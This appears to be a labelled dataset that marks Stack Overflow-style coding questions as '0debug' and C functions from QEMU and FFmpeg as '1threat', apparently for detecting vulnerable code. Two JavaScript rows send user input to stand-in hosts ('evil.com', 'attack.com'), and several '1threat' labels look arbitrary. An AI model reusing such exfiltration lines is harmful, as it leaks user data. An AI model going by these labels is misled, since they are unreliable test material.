problem stringlengths 26 131k | labels class label 2
classes |
|---|---|
Understanding map in Scala : <p>Please help me understand what map(_(0)) means here:</p>
<pre><code>scala> a.collect
res97: Array[org.apache.spark.sql.Row] = Array([1039], [1010], [1002], [926])
scala> a.collect.map(_(0))
res98: Array[Any] = Array(1039, 1010, 1002, 926)
</code></pre>
| 0debug |
Circle area fucntion : I'm trying to make a super basic circle area function in Python 3, but it won't work.
Here's my code:
//Circle Area Calculator
Area = 0
Circle_Radius = 7
def circle_area():
return Circle_Radius ** Circle_Radius ** 3.1415926535 = Area
circle_area()
print (Area) | 0debug |
document.location = 'http://evil.com?username=' + user_input; | 1threat |
static int do_write_compressed(BlockBackend *blk, char *buf, int64_t offset,
int64_t count, int64_t *total)
{
int ret;
if (count >> 9 > INT_MAX) {
return -ERANGE;
}
ret = blk_write_compressed(blk, offset >> 9, (uint8_t *)buf, count >> 9);
if (ret < ... | 1threat |
How to make print something in columns? : <p>I'm trying to make a yahtzee, and I have problem with my printing, I need to get what I'm supposed to print into nice looking columns: I want it to look something like this:</p>
<pre><code>Name Joakim Anders
Bonus 0 0
Ones 0 0
Twos 1 ... | 0debug |
R - Stuck in a IF Else : <p>I am stuck in an exercise that askes me to read a data frame and write an ifelse statement that returns 1 if the sex (theres a gender column) is Female and 2 if the sex is Male. Then the exercise askes me the sum() of theses numbers. No success so far. Any help?</p>
| 0debug |
Obfuscating Swift code before submission to Apple App Store : <p>I'm having a hard time finding any info on this. Android themselves mention code obfuscation as something to do before submitting to their store. But I see nothing about this from Apple or from any "third party" before-submission checklists. The only simi... | 0debug |
What is the difference between crossinline and noinline in Kotlin? : <ol>
<li><p>This code <strong>compiles with a warning</strong> (<em>insignificant performance impact</em>):</p>
<pre><code>inline fun test(noinline f: () -> Unit) {
thread(block = f)
}
</code></pre></li>
<li><p>This code <strong>does not compi... | 0debug |
Angular 2 - with ngFor, is it possible to update values without rebuilding the dom? : <p>I have a component 'bar' inside ngFor. I want to update its width with animation starting from the previous value to new one. </p>
<p>html : </p>
<pre><code><div *ngFor="let station of stations" class="station">
<bar... | 0debug |
static void skip_block (uint8_t *current, uint8_t *previous, int pitch, int x, int y) {
uint8_t *src;
uint8_t *dst;
int i;
src = &previous[x + y*pitch];
dst = current;
for (i=0; i < 16; i++) {
memcpy (dst, src, 16);
src += pitch;
dst += pitch;
}
}
| 1threat |
too many values to unpack on dictionary key value iteration : <p>Getting an error <strong>too many values to unpack</strong>. Can anyone help me to solve it?</p>
<pre><code>friendship = {'nino': ["tamari", "nika", "lela", "dato"],
'dato': ["tamari", "nino"],
'tamari': ["nino", "dato", "lela... | 0debug |
python function - calling using apply vs direct call : I have code as below. If I call the function by the first method, it works. But if I call the function using the second method, I get an error. I thought that method two should works as the function is expecting columns as it's input. Why do we have to say that run... | 0debug |
how to get specific records in many to many relationship in laravel 5.5 : Need Help I have three tables 1-posts 2-categories 3-category_post I did all the necessary things now the problem is here how can I get specific records in controller for example I want to retrieve all those posts which category is animal
tha... | 0debug |
load event vs self invoking function? : I would like to know if the following two cases has the exact same effect `performance and security wise` ?
Which one is `better practice` ?
Using **load event**
if (sSessionRole === "admin") {
window.addEventListener("load", function () {
... | 0debug |
Probability density algorythm : I'm not sure that the name for what I need is ***probability density*** but anyway.
I'd like to find a function or algorythm for generating random numbers in the specified range with specified chance and linear change.
For example specified range and chances are: [Chart of chances]... | 0debug |
filter the array with another array containing the names to be filtered from the first array : input : ['Ram', 'Shyam' , 'Hari' , 'Gopal' , 'Hawa']
['Shyam' , 'Hawa']
output: ['Ram' , 'Hari' , 'Gopal']`enter code here | 0debug |
static int dts_probe(AVProbeData *p)
{
const uint8_t *buf, *bufp;
uint32_t state = -1;
int markers[4*16] = {0};
int exss_markers = 0, exss_nextpos = 0;
int sum, max, pos, i;
int64_t diff = 0;
uint8_t hdr[12 + AV_INPUT_BUFFER_PADDING_SIZE] = { 0 };
for (pos = FFMIN(4096, p->buf... | 1threat |
Angular what's meaning of three dots in @NGRX : <p>what does mean exactly these three dots and why i need them ?</p>
<pre><code>export function leadReducer(state: Lead[]= [], action: Action {
switch(action.type){
case ADD_LEAD:
return [...state, action.payload];
case REMOVE_LEAD:
... | 0debug |
Mockito Inject mock into Spy object : <p>I'm writing a test case for a Class which has a 2 level of dependency injection. I use @Spy annotation for the 1 level dependency injection object, and I would like to Mock the 2nd level of injection. However, I kept getting null pointer exception on the 2nd level. Is there any ... | 0debug |
Does an app that amplify your voice instantly exist? : <p>I wonder if there is any app existed that I can either speak to the android phone directly or speaking into a clip-on mic, and the app uses the phone as a speaker to amplify the voice instantly?</p>
<p>I am not trying to record the voice, but just instantly mak... | 0debug |
How to view log output using docker-compose run? : <p>When I use <code>docker-compose up</code> I can see logs for all containers in my <code>docker-compose.yml</code> file.</p>
<p>However, when I use <code>docker-compose run app</code> I only see console output for <code>app</code> but none of the services that <code... | 0debug |
static uint64_t exynos4210_i2c_read(void *opaque, target_phys_addr_t offset,
unsigned size)
{
Exynos4210I2CState *s = (Exynos4210I2CState *)opaque;
uint8_t value;
switch (offset) {
case I2CCON_ADDR:
value = s->i2ccon;
break;
case I2CSTAT_AD... | 1threat |
How do I combine data accurately between two sheets based on shared column values? : Python may be the best bet for this I will upload a solution I will attempt but for you Excel experts I have a real bully of a problem for you.
```
Names Trophies
Scott 3
Jim 3
Ron 2
Bob 1
Jack 1
```
now on... | 0debug |
window.location.href = 'http://attack.com?user=' + user_input; | 1threat |
int qcrypto_init(Error **errp)
{
#ifdef CONFIG_GNUTLS
int ret;
ret = gnutls_global_init();
if (ret < 0) {
error_setg(errp,
"Unable to initialize GNUTLS library: %s",
gnutls_strerror(ret));
return -1;
}
#ifdef DEBUG_GNUTLS
gnutls_globa... | 1threat |
static int cudaupload_query_formats(AVFilterContext *ctx)
{
int ret;
static const enum AVPixelFormat input_pix_fmts[] = {
AV_PIX_FMT_NV12, AV_PIX_FMT_YUV420P, AV_PIX_FMT_YUV444P,
AV_PIX_FMT_NONE,
};
static const enum AVPixelFormat output_pix_fmts[] = {
AV_PIX_FMT_CUDA, ... | 1threat |
parallel_ioport_write_sw(void *opaque, uint32_t addr, uint32_t val)
{
ParallelState *s = opaque;
pdebug("write addr=0x%02x val=0x%02x\n", addr, val);
addr &= 7;
switch(addr) {
case PARA_REG_DATA:
s->dataw = val;
parallel_update_irq(s);
break;
case PARA_REG_C... | 1threat |
converting column into singe row using dplyr : I am trying to wrangle my dataset converting a column into a single row.
Original dataset:
[![enter image description here][1]][1]
What I am getting is
[![enter image description here][2]][2]
What I want to have:
[![enter image description here][3]][3]
... | 0debug |
Python Tkinter Radiobutton issues in second window : I have a school project on making a website in tkinter python. My problem is in the function "Whats_for_dinner". Both my check, and radio buttons are not replacing the variable for me to find out which one is selected (I.E the radio button stays at zero instead of ch... | 0debug |
int attribute_align_arg avcodec_decode_audio4(AVCodecContext *avctx,
AVFrame *frame,
int *got_frame_ptr,
AVPacket *avpkt)
{
AVCodecInternal *avci = avctx->internal;
int... | 1threat |
Java - Double number return unexpected : <p>Probably a very simple math question, but this has me a little bit confused.</p>
<p>Can anybody explain to me why this: </p>
<pre><code>public class volumesphere
{
public static void main(String[] args)
{
double radius = 30.5;
double PI = Math.PI;
double volume ... | 0debug |
static inline void write_IRQreg (openpic_t *opp, int n_IRQ,
uint32_t reg, uint32_t val)
{
uint32_t tmp;
switch (reg) {
case IRQ_IPVP:
opp->src[n_IRQ].ipvp =
(opp->src[n_IRQ].ipvp & 0x40000000) |
(val & 0x800F00F... | 1threat |
Why Strong Params contains permitted: false : <p>I put in a <code>binding.pry</code> at the top of my controller's <code>update</code> action. Once at that break point, I put in <code>params[:foo_bar]</code> to examine the <code>params</code> hash. Here is what I get:</p>
<pre><code><ActionController::Parameters ... | 0debug |
static block_number_t eckd_block_num(BootMapPointer *p)
{
const uint64_t sectors = virtio_get_sectors();
const uint64_t heads = virtio_get_heads();
const uint64_t cylinder = p->eckd.cylinder
+ ((p->eckd.head & 0xfff0) << 12);
const uint64_t head = p->eckd.head & 0x000f;... | 1threat |
How to Replace text partially in linux using sed : I have an xml tag that I need to manipulate on linux
<m1:PayloadId>TESTCASE01_0000123456</m1:PayloadId>
I need to change the text from "TESTCASE01_0000123456" to "TESTCASE01_1234567890" between the tags
I used the sed command in my code:"**sed -i 's/PayloadId>.*</m1... | 0debug |
Multy attack in unity : I'm trying to play 3 deferent attack in unit when the user press the same bottom multi time the attack will change.
I try this code it's ok but filed to track the number of attack
if (Input.GetKeyDown(KeyCode.Q) && attTraking == 0)
{
anim.SetTrigger(attackOneToHas... | 0debug |
How to create object inside object in JS : <p>I want to create an object inside an object in JavaScript like this:</p>
<pre><code> {
"test": {
{},
{}
}
}
</code></pre>
<p>In more detail, I want to create a new object if "test" doesn't exist in the object, and create a new object in ... | 0debug |
How to delete the folder from a http url using python : <p>i have a wifi enable camera. i can access the image from the ip address while enter in browser. while entering the ip address it shows the list of folders name in the home page. i have to delete one folder.
<a href="https://i.stack.imgur.com/FTAtW.png" rel="no... | 0debug |
how to formating data to produce sankey diagram using NetworkD3 library R : I have this [data][1], and I'm trying to produce a Sankey Diagram using the NetworkD3 package with this simple code:
sankeyNetwork(Links = landuse$links, Nodes = landuse$nodes, Source = "source",
Target = "target", Val... | 0debug |
Most efficient way to store and retrieve data : <p>What is the best way to store data permanently in the code? I have the data e.g.
Roll No. (Unique Key)
Values: Name, DOB, Weight, Height etc.</p>
<p>These are going to be static information and I want to store them as the part of application. While using, I want to lo... | 0debug |
select multiple column into a single row : <p>Suppose I've got two tables:</p>
<p>Table A:</p>
<pre><code>Item1Name Item1Code Item2Name Item2Code
ABC 001 DEF 002
</code></pre>
<p>Table B:</p>
<pre><code>ItemCode ItemType
001 Cookware
002 Drinks
</code></pre>
<p>W... | 0debug |
addding a counting colum to a numpy array in python : I have a 2d numpy array ans i.e
ans=[8,5,9,2,4]
i want to convert it into a 2d array like
ans=
{[1,8],
[2,5],
[3,9],
[4,2],
[5,4]}
the first column is in sequence
[1,2,3....... | 0debug |
void *g_realloc(void * mem, size_t n_bytes)
{
__coverity_negative_sink__(n_bytes);
mem = realloc(mem, n_bytes == 0 ? 1 : n_bytes);
if (!mem) __coverity_panic__();
return mem;
}
| 1threat |
int ff_v4l2_m2m_codec_full_reinit(V4L2m2mContext *s)
{
void *log_ctx = s->avctx;
int ret;
av_log(log_ctx, AV_LOG_DEBUG, "%s full reinit\n", s->devname);
if (atomic_load(&s->refcount))
while(sem_wait(&s->refsync) == -1 && errno == EINTR);
ff_v4l2_m2m_codec_end(s->avct... | 1threat |
static av_cold int g726_encode_init(AVCodecContext *avctx)
{
G726Context* c = avctx->priv_data;
if (avctx->strict_std_compliance > FF_COMPLIANCE_UNOFFICIAL &&
avctx->sample_rate != 8000) {
av_log(avctx, AV_LOG_ERROR, "Sample rates other than 8kHz are not "
"allowed when th... | 1threat |
static int css_add_virtual_chpid(uint8_t cssid, uint8_t chpid, uint8_t type)
{
CssImage *css;
trace_css_chpid_add(cssid, chpid, type);
if (cssid > MAX_CSSID) {
return -EINVAL;
}
css = channel_subsys.css[cssid];
if (!css) {
return -EINVAL;
}
if (css->chpids[ch... | 1threat |
Automate IE print dialog box without using SendKeys : <p>Is it possible to control the IE browser print dialog box in VBA without using SendKeys?</p>
| 0debug |
About RecycleView : <p>I want to display data from a database that has been hosted into recycleview by using json.I've tried various ways to make it. Can someone give me a link a tutorial on:
1. Displays data of type mediumblob into json.
2. Displays data from the database that has been hosted into recycleview.
3. Disp... | 0debug |
One line makes me mad. SQL Developer : create or replace trigger fund_BIU
before insert or update on fund
for each row
begin
if inserting and :new.fundid is null then
:new.fundid := to_number(sys_guid(),
'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX');
en... | 0debug |
int coroutine_fn bdrv_co_writev(BlockDriverState *bs, int64_t sector_num,
int nb_sectors, QEMUIOVector *qiov)
{
trace_bdrv_co_writev(bs, sector_num, nb_sectors);
return bdrv_co_do_writev(bs, sector_num, nb_sectors, qiov, 0);
}
| 1threat |
Allow Public Read access on a GCS bucket? : <p>I am trying to allow anonymous (or just from my applications domain) read access for files in my bucket.</p>
<p>When trying to read the files I get </p>
<p>```</p>
<pre><code><Error>
<Code>AccessDenied</Code>
<Message>Access denied.</M... | 0debug |
static inline void gen_ins(DisasContext *s, TCGMemOp ot)
{
if (use_icount)
gen_io_start();
gen_string_movl_A0_EDI(s);
tcg_gen_movi_tl(cpu_T[0], 0);
gen_op_st_v(s, ot, cpu_T[0], cpu_A0);
tcg_gen_trunc_tl_i32(cpu_tmp2_i32, cpu_regs[R_EDX]);
tcg_gen_andi_i32(cpu_tmp2_i32, cp... | 1threat |
static int alloc_sequence_buffers(DiracContext *s)
{
int sbwidth = DIVRNDUP(s->source.width, 4);
int sbheight = DIVRNDUP(s->source.height, 4);
int i, w, h, top_padding;
for (i = 0; i < 3; i++) {
int max_xblen = MAX_BLOCKSIZE >> (i ? s->chroma_x_shift : 0);
int max_yblen ... | 1threat |
Horizontall Scrolling Card View - Nadroid : I am trying to find a way to do the below design in android. But i am not able to find a solution to it. Can anyone give me a solution to it.
[![enter image description here][1]][1]
[1]: http://i.stack.imgur.com/AdL9q.jpg
| 0debug |
bool io_mem_write(MemoryRegion *mr, hwaddr addr,
uint64_t val, unsigned size)
{
return memory_region_dispatch_write(mr, addr, val, size);
}
| 1threat |
Android studio 3.1 run command does not rebuild the APK : <p>This is very annoying aspect of the new android studio version 3.1, I used to launch run command after every code changes, the IDE rebuilds the (whole project & APK) and then deploys it on the target device.</p>
<p>Then after upgrading to version 3.1, th... | 0debug |
Typescript error TS2339: Property 'webkitURL' does not exist on type 'Window' : <p>Using Angular 2 on a project which is compiled with typescript.</p>
<p>Getting this error when trying to create a blob image:</p>
<p><code>error TS2339: Property 'webkitURL' does not exist on type 'Window'</code></p>
<p>ts code is:</p... | 0debug |
static void mv88w8618_register_devices(void)
{
#ifdef HAS_AUDIO
sysbus_register_withprop(&mv88w8618_audio_info);
#endif
}
| 1threat |
KSQL ( Confluent ) VS Hive Kafka SQL ( Hortanworks ) : <blockquote>
<p>What are the difference ?
which one is better ?
when to use ?</p>
</blockquote>
<p><a href="https://hortonworks.com/blog/introducing-hive-kafka-sql/" rel="nofollow noreferrer">Hive Kafka SQL</a></p>
<p><a href="https://www.confluent.io/prod... | 0debug |
Why do I get an conversion error in android using R.string? : <p>My file <code>strings.xml</code> looks like the following:</p>
<pre><code><resources>
<string name="app_name">BootIntervals</string>
<string name="action_settings">Settings</string>
<string name="logname">"... | 0debug |
static CharDriverState *qemu_chr_open_pty(const char *id,
ChardevBackend *backend,
ChardevReturn *ret,
Error **errp)
{
CharDriverState *chr;
PtyCharDriver *s;
int master_fd, s... | 1threat |
Pseudo code example : <p>I am new to programming in general and I am trying to learn the basics of it. Could someone explain me the concept of Pseudo code. I have already done some research but an additional help would be great. As an example, what would pseudo code for making a peanut butter and jelly sandwich would l... | 0debug |
static inline void RENAME(rgb24toyv12)(const uint8_t *src, uint8_t *ydst, uint8_t *udst, uint8_t *vdst,
long width, long height,
long lumStride, long chromStride, long srcStride)
{
long y;
const long chromWidth= width>>1;
#ifdef HAVE_MMX
for(y=0; y<height-2; y+=2)
{
long i;
for(i=0; i<2; i++)
{
... | 1threat |
Free problems in C language : I'm working on a project in C language. The purpose of the project is to code a function that returns the next line of a file every time it's called.
I'm only allowed to use the malloc, free and read functions.
Here's the errors I'm getting :
[Errors][1]
[1]: http://i.stack.imgur... | 0debug |
static void cpu_ioreq_move(ioreq_t *req)
{
int i, sign;
sign = req->df ? -1 : 1;
if (!req->data_is_ptr) {
if (req->dir == IOREQ_READ) {
for (i = 0; i < req->count; i++) {
cpu_physical_memory_read(
req->addr + (sign * i * (int64_t)req->s... | 1threat |
incorrect input is treated as correct : i made this for an assignment but even if i feed in input out of the desired range i still get the output, for the first section the wrong input is
shown as wrong but for the second part no matter what i always get output
#include <iostream>
#include ... | 0debug |
in javafx, How to draw a line in javaFX :/ : I am a beginner at javaFX and started today i think so i want how to draw line and when i make a new group and put a line object it gives me an error like:
Group group = new Group(line); | 0debug |
static ssize_t rtl8139_do_receive(NetClientState *nc, const uint8_t *buf, size_t size_, int do_interrupt)
{
RTL8139State *s = qemu_get_nic_opaque(nc);
PCIDevice *d = PCI_DEVICE(s);
int size = size_;
const uint8_t *dot1q_buf = NULL;
uint32_t packet_header = 0;
uint8_t buf1[MIN_BU... | 1threat |
How to handle backslash character in PowerShell -replace string operations? : <p>I am using -replace to change a path from source to destination. However I am not sure how to handle the \ character. For example:</p>
<pre><code>$source = "\\somedir"
$dest = "\\anotherdir"
$test = "\\somedir\somefile"
$destfile = $tes... | 0debug |
static void clear_sel(IPMIBmcSim *ibs,
uint8_t *cmd, unsigned int cmd_len,
uint8_t *rsp, unsigned int *rsp_len,
unsigned int max_rsp_len)
{
IPMI_CHECK_CMD_LEN(8);
IPMI_CHECK_RESERVATION(2, ibs->sel.reservation);
if (cmd[4] != 'C' || cm... | 1threat |
Text size of TEXTVIEW for multiple android screens (mdpi, hpdi, xhdpi,xxhdpi,xxxhdpi)? : I am making an app. There is a rotatable imageview in the middle of the screen with 2 textviews(in bold) above and 2 textviews below. It is showing different on different screens. I need help asap!!! | 0debug |
void rgb15tobgr24(const uint8_t *src, uint8_t *dst, long src_size)
{
const uint16_t *end;
uint8_t *d = (uint8_t *)dst;
const uint16_t *s = (uint16_t *)src;
end = s + src_size/2;
while(s < end)
{
register uint16_t bgr;
bgr = *s++;
*d++ = (bgr&0x7C00)>>7;
*d++ = (bgr&0x3E0)>>2;
*d++ = (bgr&0x1... | 1threat |
TransformException duplicate entry for org/intellij/lang/annotations/Identifier.class : <p>I am getting this error</p>
<pre><code>Error:Execution failed for task ':app:transformClassesWithJarMergingForDebug'.
> com.android.build.api.transform.TransformException: java.util.zip.ZipException:
duplicate entry: org/int... | 0debug |
Brainf*ck interpreter nested loop trouble : I am currently making a brainf*ck and have encountered a problem with loops.
I followed some advice from [this][1] but I can't seem to get it working.
Here is my code so far:
<html>
<body>
<font face="consolas">
<script>
var brPos = 0;
va... | 0debug |
Memory leaks when using pandas_udf and Parquet serialization? : <p>I am currently developing my first whole system using PySpark and I am running into some strange, memory-related issues. In one of the stages, I would like to resemble a Split-Apply-Combine strategy in order to modify a DataFrame. That is, I would like ... | 0debug |
How can I use multiple refs for an array of elements with hooks? : <p>As far as I understood I can use refs for a single element like this:</p>
<p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="true">
<div class="snippet-code">
<pre class="snippet-code-js lang-js prettyprint-ov... | 0debug |
MemoryError python sql : I’m getting a MemoryError when I try to read a large sql file in Python3.6 with this command:
with open(sql_file, ‘r’) as f:
Is there an alternative to this so I can correctly read my sql file ? | 0debug |
Eclipse with Lombok - search for getter and setter usages : <p>I'm using Eclipse with Lombok. The getters and setters are generated properly but they are not visible in class body (that's the whole point, I know). However, because of that, I am unable to execute a search for usages of a getter or a setter from inside t... | 0debug |
int kvm_on_sigbus_vcpu(CPUState *env, int code, void *addr)
{
#if defined(KVM_CAP_MCE)
struct kvm_x86_mce mce = {
.bank = 9,
};
void *vaddr;
ram_addr_t ram_addr;
target_phys_addr_t paddr;
int r;
if ((env->mcg_cap & MCG_SER_P) && addr
&& (code == BUS_MCEERR_AR... | 1threat |
Create Command-line Launcher Intellij not found : <p>I would like to use </p>
<pre><code>idea pom.xml
</code></pre>
<p>from command line to launch a simple Maven project, and so I think I need to configure using "Create Command-line Launcher" the script path, but I cannot find it in Intellij Ultimate, if I search it ... | 0debug |
how to add data into list<> from labamda expression mvc : hi i need help to add data from lambada expresssion query to list.
var Emplist = context.employee.tolist().firstordefault(e=>e.id= empid && e.name=empname)
Now wants result into generic list
list<Emplist> emplist = context.employee.tolist().firstor... | 0debug |
void rgb15tobgr24(const uint8_t *src, uint8_t *dst, unsigned int src_size)
{
const uint16_t *end;
uint8_t *d = (uint8_t *)dst;
const uint16_t *s = (uint16_t *)src;
end = s + src_size/2;
while(s < end)
{
register uint16_t bgr;
bgr = *s++;
*d++ = (bgr&0x7C00)>>7;
*d++ = (bgr&0x3E0)>>2;
*d++ = ... | 1threat |
Chart.js - how to disable everything on hover : <p>How can I set the code that there will be no hover effects, hover options, (hover) links etc on chart?</p>
<p>I'm using chart.js. Below is my code, where I set pie chart.</p>
<p>Html..</p>
<pre><code><div id="canvas-holder" style="width:90%;">
<canvas i... | 0debug |
Sending to client from server : <p>I'm trying to send data from a server to a client whenever the client executes a recv() command. As the code stands right now, I cannot get the client to print any data it receives. I cannot figure out whether something is wrong with my server or client, so any help would be appreciat... | 0debug |
Avoiding and renaming .x and .y columns when merging or joining in r : <p>Often I go about joining two dataframes together that have the same name. Is there a way to do this within the join-step so that I don't end up with a .x and a .y column? So the names might be 'original_mpg', and 'new_mpg'?</p>
<pre><code> li... | 0debug |
How to scale text to fit parent view with SwiftUI? : <p>I'd like to create a text view inside a circle view. The font size should be automatically set to fit the size of the circle. How can this be done in SwiftUI? I tried scaledToFill and scaledToFit modifiers, but they have no effect on the Text view:</p>
<pre><code... | 0debug |
i want text after 3 '_' s means '110_DT_H55_VXELQ318_10Q' this is the text i want 'VXELQ318_10Q' : this is my quary:-
DECLARE @x varchar(100)
SET @x = '110_DT_H55_VXELQ318_10Q'
SELECT left(@x, CHARINDEX('_', REVERSE(@x)) )
| 0debug |
html/CSS how to make a div always center when the window is resized : <p>I have a navigation bar which I want it to always stay centered when the window is resized. The bar is on top of a picture which serves as the background of the website.
Here's the code:</p>
<p><div class="snippet" data-lang="js" data-hide="false... | 0debug |
How do I make an Observable Interval start immediately without a delay? : <p>I want my observable to fire immediately, and again every second. <a href="http://reactivex.io/documentation/operators/interval.html" rel="noreferrer"><code>interval</code></a> will not fire immediately. I found <a href="https://stackoverflow.... | 0debug |
What are .NET Platform Extensions on docs.microsoft.com? : <p>There is a framework-level navigation element at Microsoft Docs called <a href="https://docs.microsoft.com/en-us/dotnet/api/index?view=dotnet-plat-ext-2.1" rel="noreferrer">".NET Platform Extensions"</a>. It contains docs on recently added APIs like <code>Sy... | 0debug |
uint64_t HELPER(neon_abdl_s32)(uint32_t a, uint32_t b)
{
uint64_t tmp;
uint64_t result;
DO_ABD(result, a, b, int16_t);
DO_ABD(tmp, a >> 16, b >> 16, int16_t);
return result | (tmp << 32);
}
| 1threat |
Creating single linked list in c++ : <p>I am a beginner in coding and i am creating a linked list(without using class concept), but this is not working, please help.</p>
<pre><code>#include<iostream>
#include<malloc.h>
using namespace std;
struct node{
int data;
node *next;
};
void add(int n){
... | 0debug |
static av_cold int rv30_decode_init(AVCodecContext *avctx)
{
RV34DecContext *r = avctx->priv_data;
int ret;
r->rv30 = 1;
if ((ret = ff_rv34_decode_init(avctx)) < 0)
return ret;
if(avctx->extradata_size < 2){
av_log(avctx, AV_LOG_ERROR, "Extradata is too small.\n");
... | 1threat |
static target_ulong helper_sdiv_common(CPUSPARCState *env, target_ulong a,
target_ulong b, int cc)
{
SPARCCPU *cpu = sparc_env_get_cpu(env);
int overflow = 0;
int64_t x0;
int32_t x1;
x0 = (a & 0xffffffff) | ((int64_t) (env->y) << 32);
x1 = (b & 0x... | 1threat |
unicode character color issue : <p>Can't change color on the following characters:</p>
<pre><code><div style="font-size: 25px; color:red;">&#128269;</div>
<div style="font-size: 25px; color:red;">&#128227;</div>
</code></pre>
<p>while some other unicode chars accept color property:</p>... | 0debug |
Regular Expression to extract specific text from string : <p>I am new to Regex and try to extract a 16x character piece of text from a list of strings. </p>
<p>Sample list:</p>
<pre><code>myString = [' pon-3-1 | UnReg 5A594F4380661123 1234567890 Active',
' pon-3-1 | U... | 0debug |
How to replace price to another currency in Woocommerce? : I need the help of the community.
I use a visual product builder that allow my client to build their own products and I need multi-currency support. The problem is that i can't use multi-currency plugin because the visual builder doesn't support it.
Mi qu... | 0debug |
static uint64_t mcf_fec_read(void *opaque, target_phys_addr_t addr,
unsigned size)
{
mcf_fec_state *s = (mcf_fec_state *)opaque;
switch (addr & 0x3ff) {
case 0x004: return s->eir;
case 0x008: return s->eimr;
case 0x010: return s->rx_enabled ? (1 << 24) : 0;
... | 1threat |
Using python to code Ev3 windows : <p>I was going around the internett and i found out that you can code Mindstorm with python, however it was for Linux only and im running windows. Is there a way/website where i can learn how to connect python up to mindstorms and get sensor data?</p>
| 0debug |
How to use .forRoot() within feature modules hierarchy : <p>Can anyone please clarify to me how should I structure multiple nested feature modules hierarchy with .forRoot() calls?</p>
<p>For example what if I have modules like this:</p>
<pre><code>- MainModule
- SharedModule
- FeatureModuleA
- FeatureModuleA1
... | 0debug |
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